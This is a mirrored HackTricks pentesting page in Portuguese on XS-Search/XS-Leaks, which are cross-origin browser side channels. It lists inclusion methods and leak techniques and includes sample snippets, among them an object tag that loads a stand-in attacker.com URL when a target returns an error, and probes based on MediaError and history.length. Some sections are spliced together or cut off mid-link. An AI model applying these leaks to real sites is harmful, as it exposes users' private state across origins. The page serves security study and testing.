Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-28 07:31:10 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xs-search.md

70 KiB
Raw Blame History

XS-Search/XS-Leaks

Use Trickest para construir e automatizar fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.
Obtenha Acesso Hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Informações Básicas

XS-Search é uma técnica voltada para exfiltrar informações cross-origin abusando de ataques de canal lateral.

Existem diferentes elementos neste tipo de ataque:

  • Web Vulnerável: É a web de onde queremos exfiltrar alguma informação
  • Web do Atacante: É a web que o atacante cria contendo o exploit e que a vítima acessa
  • Método de Inclusão: É o método usado para carregar a Web Vulnerável a partir da Web do Atacante (como window.open, iframe, fetch, tag HTML com href...)
  • Técnica de Leak: Após acessar a web vulnerável, uma técnica será usada para diferenciar entre os possíveis estados da web com as informações obtidas do método de inclusão usado.
  • Estados: Os 2 possíveis estados que a web vulnerável pode ter dependendo da vítima que queremos diferenciar.
  • Diferenças Detectáveis: Esta é a informação que o atacante tem que tentar decidir o estado da web vulnerável

Diferenças Detectáveis

Para distinguir entre os 2 estados da página vulnerável, várias coisas podem ser observadas:

  • Código de Status. Um atacante pode distinguir diferentes códigos de status de resposta HTTP cross-origin (por exemplo, erros de servidor, erros de cliente ou erros de autenticação).
  • Uso de API. Esta diferença detectável permite que um atacante detecte o uso de APIs Web entre páginas, permitindo que um atacante infira se uma página cross-origin está usando uma API Web JavaScript específica.
  • Redirecionamentos. É possível detectar se uma aplicação web navegou o usuário para uma página diferente. Isso não se limita a redirecionamentos HTTP, mas também inclui redirecionamentos acionados por JavaScript ou HTML.
  • Conteúdo da Página. Essas diferenças detectáveis aparecem no corpo da resposta HTTP ou em sub-recursos incluídos pela página. Por exemplo, isso pode ser o número de frames incluídos (cf. XS-Leak no Gitlab) ou diferenças de tamanho de imagens.
  • Cabeçalho HTTP. Um atacante pode detectar a presença de um cabeçalho de resposta HTTP específico e pode ser capaz de coletar seu valor. Isso inclui cabeçalhos como X-Frame-Options, Content-Disposition e Cross-Origin-Resource-Policy.
  • Tempo: Um atacante pode detectar que existe uma diferença de tempo consistente entre 2 estados.

Métodos de Inclusão

  • Elementos HTML. O HTML oferece uma variedade de elementos que permitem a inclusão de recursos cross-origin. Elementos como folhas de estilo, imagens ou scripts, forçam o navegador da vítima a solicitar um recurso não-HTML especificado. Uma lista que enumera possíveis elementos HTML para esse propósito está disponível online (https://github.com/cure53/HTTPLeaks).
  • Frames. Elementos como iframe, object e embed podem incorporar recursos HTML diretamente na página do atacante. Se a página não usar proteção contra frames, o código JavaScript pode acessar o objeto window do recurso emoldurado através da propriedade contentWindow.
  • Pop-ups. O método window.open carrega um recurso em uma nova aba ou janela do navegador. O método retorna um manipulador de janela que o código JavaScript pode usar para acessar métodos e propriedades, que estão em conformidade com a SOP. Esses chamados pop-ups são frequentemente usados em single sign-on. Navegadores modernos só permitem pop-ups se forem acionados por certas interações do usuário. Para ataques XS-Leak, este método é especialmente útil porque contorna restrições de framing e cookies para um recurso alvo. Versões mais recentes do navegador adicionaram recentemente meios para isolar manipuladores de janela.
  • Requisições JavaScript. O JavaScript permite enviar solicitações diretamente para recursos alvo. Existem duas maneiras diferentes para esse propósito: XMLHttpRequests e seu sucessor Fetch API. Em contraste com métodos de inclusão anteriores, um atacante tem controle refinado sobre a solicitação emitida, por exemplo, se um redirecionamento HTTP deve ser automaticamente seguido.

Técnicas de Leak

  • Manipulador de Eventos. O manipulador de eventos pode ser visto como a técnica clássica de leak para XS-Leaks. Eles são uma fonte bem conhecida de várias peças de informação. Por exemplo, o gatilho de onload indica um carregamento de recurso bem-sucedido em contraste com o evento onerror.
  • Mensagens de Erro. Além dos manipuladores de eventos, mensagens de erro podem ocorrer como exceções JavaScript e páginas de erro especiais. Mensagens de erro podem ser lançadas em diferentes etapas, por exemplo, diretamente pela técnica de leak. A técnica de leak pode usar informações adicionais contidas diretamente na mensagem de erro, ou distinguir entre a aparência e ausência de uma mensagem de erro.
  • Limites Globais. Todo computador tem seus limites físicos, assim como um navegador. Por exemplo, a quantidade de memória disponível limita as abas em execução de um navegador. O mesmo vale para outros limites do navegador que são aplicados para todo o navegador. Se um atacante pode determinar quando o limite é atingido, isso pode ser usado como uma técnica de leak.
  • Estado Global. Os navegadores têm estados globais com os quais todas as páginas podem interagir. Se essa interação for detectável a partir do site do atacante, ela pode ser usada como uma técnica de leak. Por exemplo, a interface History permite a manipulação das páginas visitadas em uma aba ou frame. Isso cria um estado global porque o número de entradas permite que um atacante tire conclusões sobre páginas cross-origin.
  • API de Desempenho. A API de Desempenho é usada para acessar as informações de desempenho da página atual. Suas entradas incluem dados detalhados de tempo de rede para o documento e cada recurso carregado pela página. Isso permite que um atacante tire conclusões sobre recursos solicitados. Por exemplo, identificamos casos em que os navegadores não criarão entradas de desempenho para algumas solicitações.
  • Atributos Legíveis. O HTML possui vários atributos que são legíveis cross-origin. Esse acesso de leitura pode ser usado como uma técnica de leak. Por exemplo, o código JavaScript pode ler o número de frames incluídos em uma página web cross-origin com a propriedade window.frame.length.

Técnicas Baseadas em Tempo

Algumas das seguintes técnicas vão usar o tempo como parte do processo para detectar diferenças nos possíveis estados das páginas web. Existem diferentes maneiras de medir o tempo em um navegador web.

Relógios: A API performance.now() permite que desenvolvedores obtenham medições de tempo de alta resolução.
Existem um número considerável de APIs que atacantes podem abusar para criar relógios implícitos: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, animações CSS e outros.
Para mais informações: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

XSinator

XSinator é uma ferramenta automática para verificar navegadores contra vários XS-Leaks conhecidos explicados em seu artigo: https://xsinator.com/paper.pdf
Você pode acessar a ferramenta em https://xsinator.com/

{% hint style="warning" %} XS-Leaks Excluídos: Tivemos que excluir XS-Leaks que dependem de service workers, pois interfeririam com outros leaks no XSinator. Além disso, optamos por excluir XS-Leaks que dependem de má configuração e bugs em uma aplicação web específica. Por exemplo, configurações incorretas de CrossOrigin Resource Sharing (CORS), vazamento de postMessage ou Cross-Site Scripting. Adicionalmente, excluímos XS-Leaks baseados em tempo, pois muitas vezes sofrem por serem lentos, ruidosos e imprecisos. {% endhint %}


Use Trickest para construir e automatizar fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.
Obtenha Acesso Hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Técnicas de Manipulador de Eventos

Onload/Onerror

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

O exemplo de código tenta carregar objetos de scripts do JS, mas outras tags como objetos, folhas de estilo, imagens, áudios também podem ser usadas. Além disso, também é possível injetar a tag diretamente e declarar os eventos onload e onerror dentro da tag (em vez de injetá-la a partir do JS).

Também existe uma versão sem scripts deste ataque:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

Neste caso, se example.com/404 não for encontrado, attacker.com/?error será carregado.

Temporização Onload

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Temporização Onload + Tarefa Pesada Forçada

Esta técnica é semelhante à anterior, mas o atacante também irá forçar alguma ação para levar um tempo relevante quando a resposta for positiva ou negativa e medir esse tempo.

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

Temporização unload/beforeunload

Os eventos unload e beforeunload podem ser usados para medir o tempo que leva para buscar um recurso. Isso funciona porque beforeunload é acionado quando o navegador solicita uma nova navegação, enquanto unload é acionado quando essa navegação realmente ocorre. Devido a esse comportamento, é possível calcular a diferença de tempo entre esses dois eventos e medir o tempo que o navegador levou para completar a busca do recurso.

Temporização de Frame com Sandbox + onload

Se uma página não tiver Proteções de Enquadramento implementadas, um atacante pode medir quanto tempo leva para a página e todos os subrecursos carregarem pela rede. Por padrão, o manipulador onload para um iframe é invocado após todos os recursos terem sido carregados e todo o JavaScript ter terminado de executar. No entanto, um atacante pode eliminar o ruído da execução de scripts incluindo o atributo sandbox na tag <iframe>. Este atributo bloqueia vários recursos, incluindo a execução de JavaScript, o que resulta em uma medição quase pura da rede.

#ID + erro + onload

  • Métodos de Inclusão: Frames
  • Diferença Detectável: Conteúdo da Página
  • Mais informações:
  • Resumo: Se você pode fazer a página dar erro quando o conteúdo correto é acessado e fazê-la carregar corretamente quando qualquer conteúdo é acessado, então você pode criar um loop para extrair todas as informações sem medir o tempo.
  • Exemplo de Código:

Suponha que você possa inserir a página que tem o conteúdo secreto dentro de um Iframe.

Você pode fazer a vítima procurar pelo arquivo que contém "flag" usando um Iframe (explorando um CSRF, por exemplo). Dentro do Iframe, você sabe que o evento onload será executado sempre pelo menos uma vez. Então, você pode mudar a URL do iframe alterando apenas o conteúdo do hash dentro da URL.

Por exemplo:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

Se a primeira URL foi carregada com sucesso, então, ao mudar a parte do hash da URL, o evento onload não será acionado novamente. Mas se a página teve algum tipo de erro ao carregar, então, o evento onload será acionado novamente.

Então, você pode distinguir entre uma página carregada corretamente ou uma página que tem um erro quando é acessada.

Execução de Javascript

  • Métodos de Inclusão: Frames
  • Diferença Detectável: Conteúdo da Página
  • Mais informações:
  • Resumo: Se a página está retornando o conteúdo sensível, ou um conteúdo que pode ser controlado pelo usuário. O usuário poderia definir código JS válido no caso negativo, e carregar cada tentativa dentro de tags <script>, então em casos negativos o código dos atacantes é executado, e em casos afirmativos nada será executado.
  • Exemplo de Código:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • Métodos de Inclusão: Elementos HTML
  • Diferença Detectável: Código de Status & Cabeçalhos
  • Mais informações: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Resumo: Atacantes podem observar quando o CORB é aplicado se uma resposta retorna um Content-Type protegido pelo CORB (e nosniff) com o código de status 2xx, o que resulta no CORB removendo o corpo e os cabeçalhos da resposta. Detectar essa proteção permite que um atacante vaze a combinação do código de status (sucesso vs. erro) e o Content-Type (protegido pelo CORB ou não).
  • Exemplo de Código:

Verifique o link de mais informações para mais detalhes sobre o ataque.

onblur

É possível carregar uma página dentro de um iframe e usar o #id_value para fazer a página focar no elemento do iframe com o id indicado, então se um sinal onblur for acionado, o elemento ID existe.
Você pode realizar o mesmo ataque com tags portal.

Transmissões postMessage

  • Métodos de Inclusão: Frames, Pop-ups
  • Diferença Detectável: Uso de API
  • Mais informações: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Resumo: Coletar informações sensíveis de um postMessage ou usar a presença de postMessages como um oráculo para saber o status do usuário na página
  • Exemplo de Código: Qualquer código que escute todos os postMessages.

Aplicações frequentemente usam transmissões postMessage para compartilhar informações com outras origens. Escutando essas mensagens, pode-se encontrar informações sensíveis (potencialmente se o parâmetro targetOrigin não for usado). Além disso, o fato de receber alguma mensagem pode ser usado como um oráculo (você só recebe esse tipo de mensagem se estiver logado).


Use Trickest para construir e automatizar fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.
Obtenha Acesso Hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Técnicas de Limites Globais

API WebSocket

É possível identificar se, e quantas, conexões WebSocket uma página alvo usa. Isso permite que um atacante detecte estados de aplicação e vaze informações ligadas ao número de conexões WebSocket.

Se uma origem usa a quantidade máxima de objetos de conexão WebSocket, independentemente do estado de suas conexões, a criação de novos objetos resultará em exceções JavaScript. Para executar esse ataque, o site do atacante abre o site alvo em um pop-up ou iframe e, depois que a web alvo foi carregada, tenta criar o número máximo de conexões WebSocket possível. O número de exceções lançadas é o número de conexões WebSocket usadas pela janela do site alvo.

API de Pagamento

Este XS-Leak permite que um atacante detecte quando uma página de origem cruzada inicia um pedido de pagamento.

Como apenas um pedido de pagamento pode estar ativo ao mesmo tempo, se o site alvo estiver usando a API de Pedido de Pagamento, qualquer tentativa posterior de usar esta API falhará, e causará uma exceção JavaScript. O atacante pode explorar isso tentando periodicamente mostrar a UI da API de Pagamento. Se uma tentativa causar uma exceção, o site alvo está atualmente usando-a. O atacante pode esconder essas tentativas periódicas fechando imediatamente a UI após a criação.

Temporização do Loop de Eventos

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

O modelo de concorrência do JavaScript é baseado em um loop de eventos de thread único, o que significa que ele só pode executar uma tarefa por vez.
Inferir quanto tempo o código de uma origem diferente leva para executar medindo quanto tempo leva para executar a seguir no pool de eventos. O atacante continua enviando eventos para o loop de eventos com propriedades fixas, que eventualmente serão despachados se o pool estiver vazio. Outras origens despacham eventos para o mesmo pool, e é aqui que um atacante infere a diferença de tempo detectando se um atraso ocorreu com uma de suas tarefas.

{% hint style="warning" %} Em uma temporização de execução é possível eliminar fatores de rede para obter medições mais precisas. Por exemplo, carregando os recursos usados pela página antes de carregá-la. {% endhint %}

Loop de Eventos Ocupado

  • Métodos de Inclusão:
  • Diferença Detectável: Temporização (geralmente devido ao Conteúdo da Página, Código de Status)
  • Mais informações: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Resumo: Medir o tempo de execução de uma web bloqueando o loop de eventos de um thread e medindo quanto tempo leva para o loop de eventos ficar disponível novamente.
  • Exemplo de Código:

Uma das principais vantagens desta técnica é sua capacidade de contornar a Isolamento de Site, pois uma origem atacante pode influenciar a execução de outra origem.

{% hint style="warning" %} Em uma temporização de execução é possível eliminar fatores de rede para obter medições mais precisas. Por exemplo, carregando os recursos usados pela página antes de carregá-la. {% endhint %}

Pool de Conexões

  • Métodos de Inclusão: Solicitações JavaScript
  • Diferença Detectável: Temporização (geralmente devido ao Conteúdo da Página
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

A propriedade message da interface **`MediaError`** contém uma **string diferente para recursos que carregam com sucesso**. Isso permite que um atacante infira o status da resposta para um recurso de origem cruzada.

### Erro CORS

* **Métodos de Inclusão**: Fetch API
* **Diferença Detectável**: Cabeçalho
* **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Resumo:** Em SA, mensagens de erro CORS revelam a URL completa dos redirecionamentos.
* **Exemplo de Código**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)

Esta técnica permite que um atacante revele o alvo de um redirecionamento iniciado por um site de origem cruzada.

CORS permite que recursos web publicamente acessíveis sejam lidos e usados de qualquer site. Em navegadores baseados em Webkit, é possível **acessar mensagens de erro CORS quando uma solicitação CORS falha**. Um atacante pode enviar uma solicitação habilitada para CORS a um site alvo que **redireciona** com base no estado do usuário. Quando o navegador nega a solicitação, a **URL completa do alvo do redirecionamento é revelada** na mensagem de erro. Com este ataque, é possível detectar redirecionamentos, revelar locais de redirecionamento e parâmetros de consulta sensíveis.

### Erro SRI

* **Métodos de Inclusão**: Fetch API
* **Diferença Detectável**: Cabeçalho
* **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Resumo:** Em SA, mensagens de erro CORS revelam a URL completa dos redirecionamentos.
* **Exemplo de Código**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)

Um atacante pode revelar o tamanho das respostas de origem cruzada devido a **mensagens de erro detalhadas**.

O atributo de integridade define um hash criptográfico pelo qual o navegador pode verificar se um recurso obtido não foi manipulado. Este mecanismo de segurança é chamado de Integridade de Subrecursos (SRI). É usado para verificação de integridade de recursos servidos por redes de entrega de conteúdo (CDNs). Para prevenir vazamentos de dados, recursos de origem cruzada devem ser **habilitados para CORS**. Caso contrário, a resposta não é elegível para validação de integridade. Semelhante ao erro CORS no XS-Leak, é possível capturar a **mensagem de erro após uma solicitação de busca com um atributo de integridade falhar**. Um atacante pode forçar **intencionalmente** este **erro** em qualquer solicitação especificando um **valor de hash falso**. Em SA, esta mensagem de erro revela o comprimento do conteúdo do recurso solicitado. Um atacante pode usar este vazamento para detectar diferenças no tamanho da resposta, o que possibilita ataques poderosos de XS-Leak.

### Violação/Detecção de CSP

* **Métodos de Inclusão**: Pop-ups
* **Diferença Detectável**: Código de Status
* **Mais informações**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
* **Resumo:** Permitindo apenas o site da vítima no CSP, se tentarmos acessá-lo e ele tentar redirecionar para um domínio diferente, o CSP acionará um erro detectável.
* **Exemplo de Código**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)

Um XS-Leak pode usar o CSP para detectar se um site de origem cruzada foi redirecionado para uma origem diferente. Este vazamento pode detectar o redirecionamento, mas adicionalmente, o domínio do alvo do redirecionamento é revelado. A ideia básica deste ataque é **permitir o domínio alvo no site do atacante**. Uma vez que uma solicitação é emitida para o domínio alvo, ele **redireciona** para um domínio de origem cruzada. **CSP bloqueia** o acesso a ele e cria um **relatório de violação usado como técnica de vazamento**. Dependendo do navegador, **este relatório pode revelar o local alvo do redirecionamento**.\
Navegadores modernos não indicarão a URL para onde foi redirecionado, mas ainda é possível detectar que um redirecionamento de origem cruzada foi acionado.

### Cache

* **Métodos de Inclusão**: Frames, Pop-ups
* **Diferença Detectável**: Conteúdo da Página
* **Mais informações**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **Resumo:** Limpar o arquivo do cache. Abre a página alvo e verifica se o arquivo está presente no cache.
* **Exemplo de Código**:

Navegadores podem usar um cache compartilhado para todos os sites. Independentemente de sua origem, é possível deduzir se uma página alvo **solicitou um arquivo específico**.

Se uma página carrega uma imagem apenas se o usuário estiver logado, você pode **invalidar** o **recurso** (para que não esteja mais em cache, veja mais informações nos links), **realizar uma solicitação** que poderia carregar esse recurso e tentar carregar o recurso **com uma solicitação ruim** (por exemplo, usando um cabeçalho referer muito longo). Se o carregamento do recurso **não acionar nenhum erro**, é porque estava **em cache**.

### Diretiva CSP

* **Métodos de Inclusão**: Frames
* **Diferença Detectável**: Cabeçalho
* **Mais informações**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
* **Resumo:** Diretivas de cabeçalho CSP podem ser sondadas com o atributo CSP do iframe.
* **Exemplo de Código**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)

Um novo recurso no GC permite que páginas web proponham um CSP definindo um atributo em um elemento iframe. As diretivas de política são transmitidas junto com a solicitação HTTP. Normalmente, o conteúdo incorporado deve permitir explicitamente isso com um cabeçalho HTTP, **caso contrário, uma página de erro é exibida**. No entanto, se o iframe já possui um CSP e a nova política não for mais rigorosa, a página será exibida normalmente.

Isso permite que um atacante detecte diretivas CSP específicas de uma página de origem cruzada, se for possível **detectar a página de erro**. Embora este bug agora esteja marcado como corrigido, encontramos uma **nova técnica de vazamento que pode detectar a página de erro, porque o problema subjacente nunca foi resolvido.**

### **CORP**

* **Métodos de Inclusão**: Fetch API
* **Diferença Detectável**: Cabeçalho
* **Mais informações**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
* **Resumo:** Recurso protegido com CORP gera erro quando buscado.
* **Exemplo de Código**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)

O cabeçalho CORP é um recurso de segurança de plataforma web relativamente novo que, quando configurado, **bloqueia solicitações de origem cruzada sem CORS para o recurso dado**. A presença do cabeçalho pode ser detectada, porque um recurso protegido com CORP **gerará um erro quando buscado**.

### CORB

* **Métodos de Inclusão**: Elementos HTML
* **Diferença Detectável**: Cabeçalhos
* **Mais informações**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
* **Resumo**: CORB pode permitir que atacantes detectem quando o cabeçalho **`nosniff`** está presente na solicitação.
* **Exemplo de Código**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)

Verifique o link de mais informações para mais detalhes sobre o ataque.

### Erro CORS na má configuração de Reflexão de Origem <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>

* **Métodos de Inclusão**: Fetch API
* **Diferença Detectável**: Cabeçalhos
* **Mais informações**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
* **Resumo**: Se o cabeçalho Origin for refletido no cabeçalho `Access-Control-Allow-Origin`, é possível verificar se um recurso já está no cache.
* **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)

Caso o **cabeçalho Origin** esteja sendo **refletido** no cabeçalho `Access-Control-Allow-Origin`, um atacante pode abusar deste comportamento para tentar **buscar** o **recurso** em modo **CORS**. Se um **erro** **não** for acionado, significa que foi **corretamente recuperado da web**; se um erro for **acionado**, é porque foi **acessado do cache** (o erro aparece porque o cache salva uma resposta com um cabeçalho CORS permitindo o domínio original e não o domínio do atacante)**.**\
Note que se a origem não for refletida, mas um coringa for usado (`Access-Control-Allow-Origin: *`), isso não funcionará.

## Técnica de Atributos Legíveis

### Redirecionamento Fetch

* **Métodos de Inclusão**: Fetch API
* **Diferença Detectável**: Código de Status
* **Mais informações**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
* **Resumo:** GC e SA permitem verificar o tipo da resposta (opaque-redirect) após o redirecionamento ser concluído.
* **Exemplo de Código**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)

Ao enviar uma solicitação usando a Fetch API com `redirect: "manual"` e outros parâmetros, é possível ler o atributo `response.type` e se for igual a `opaqueredirect`, então a resposta foi um redirecionamento.

### COOP

* **Métodos de Inclusão**: Pop-ups
* **Diferença Detectável**: Cabeçalho
* **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
* **Resumo:** Páginas protegidas por COOP não podem ser acessadas.
* **Exemplo de Código**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)

Um atacante pode revelar se o cabeçalho de Política de Abertura de Origem Cruzada (COOP) está disponível em uma resposta HTTP de origem cruzada.

Aplicações web podem implementar o cabeçalho de resposta COOP para impedir que outros sites obtenham referências arbitrárias de janela para a aplicação. No entanto, este **cabeçalho pode ser facilmente detectado** ao tentar ler a **referência `contentWindow`**. Se um site implementa **COOP apenas em um estado**, esta propriedade (`opener`) é **indefinida**, **caso contrário** é **definida**.

### Comprimento Máximo da URL - Lado do Servidor

* **Métodos de Inclusão**: Fetch API, Elementos HTML
* **Diferença Detectável**: Código de Status / Conteúdo
* **Mais informações**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
* **Resumo:** Detectar diferenças nas respostas devido ao comprimento da resposta do redirecionamento ser muito grande, fazendo com que o servidor responda com um erro e um alerta seja gerado.
* **Exemplo de Código**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)

Se um redirecionamento do lado do servidor usa **entrada do usuário dentro do redirecionamento** e **dados extras**. É possível detectar esse comportamento porque geralmente os **servidores** têm um **limite de comprimento de solicitação**. Se os **dados do usuário** forem de **comprimento - 1**, porque o **redirecionamento** está usando **esses dados** e **adicionando** algo **extra**, isso acionará um **erro detectável via Eventos de Erro**.

Se você puder de alguma forma definir cookies para um usuário, também pode realizar este ataque **definindo cookies suficientes** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) para que com o **tamanho de resposta aumentado** da **resposta correta** um **erro** seja acionado. Neste caso, lembre-se de que se você acionar esta solicitação de um mesmo site, `<script>` enviará automaticamente os cookies (para que você possa verificar erros).\
Um exemplo do **cookie bomb + XS-Search** pode ser encontrado na solução pretendida deste writeup: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)

`SameSite=None` ou estar no mesmo contexto geralmente é necessário para este tipo de ataque.

### Comprimento Máximo da URL - Lado do Cliente

* **Métodos de Inclusão**: Pop-ups
* **Diferença Detectável**: Código de Status / Conteúdo
* **Mais informações**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
* **Resumo:** Detectar diferenças nas respostas porque o comprimento da resposta do redirecionamento pode ser muito grande para uma solicitação que uma diferença possa ser notada.
* **Exemplo de Código**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-
```javascript
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Contagem de Frames

Contar o número de frames em uma web aberta via iframe ou window.open pode ajudar a identificar o status do usuário naquela página.
Além disso, se a página sempre tiver o mesmo número de frames, verificar continuamente o número de frames pode ajudar a identificar um padrão que pode vazar informações.

Um exemplo dessa técnica é que no Chrome, um PDF pode ser detectado com contagem de frames porque um embed é usado internamente. Existem Parâmetros de URL Abertos que permitem algum controle sobre o conteúdo, como zoom, view, page, toolbar onde essa técnica poderia ser interessante.

HTMLElements

Algumas páginas da web podem gerar arquivos de mídia dinamicamente dependendo das informações do usuário ou adicionar marcas d'água que alteram o tamanho da mídia. Um atacante pode usar informações vazadas por esses elementos HTML para distinguir entre estados possíveis.

Alguns HTMLElements vazarão algumas informações para origens cruzadas, como o tipo de mídia que são:

Propriedade CSS

Aplicações web podem mudar a estilização do site dependendo do status do usuário. Arquivos CSS de origem cruzada podem ser incorporados na página do atacante com o elemento link HTML, e as regras serão aplicadas à página do atacante. Se uma página muda essas regras dinamicamente, um atacante pode detectar essas diferenças dependendo do estado do usuário.
Como técnica de vazamento, o atacante pode usar o método window.getComputedStyle para ler propriedades CSS de um elemento HTML específico. Como resultado, um atacante pode ler propriedades CSS arbitrárias se o elemento afetado e o nome da propriedade forem conhecidos.

Histórico CSS

{% hint style="info" %} De acordo com isto, isso não funciona no Chrome headless. {% endhint %}

Usando o seletor CSS :visited, é possível aplicar um estilo diferente para URLs que foram visitadas.
Anteriormente era possível usar getComputedStyle() para detectar essa diferença, mas agora os navegadores impedem isso, sempre retornando valores como se o link tivesse sido visitado e limitando quais estilos podem ser aplicados usando o seletor.
Portanto, pode ser necessário enganar o usuário para clicar em uma área que o CSS afetou, isso pode ser feito usando mix-blend-mode.
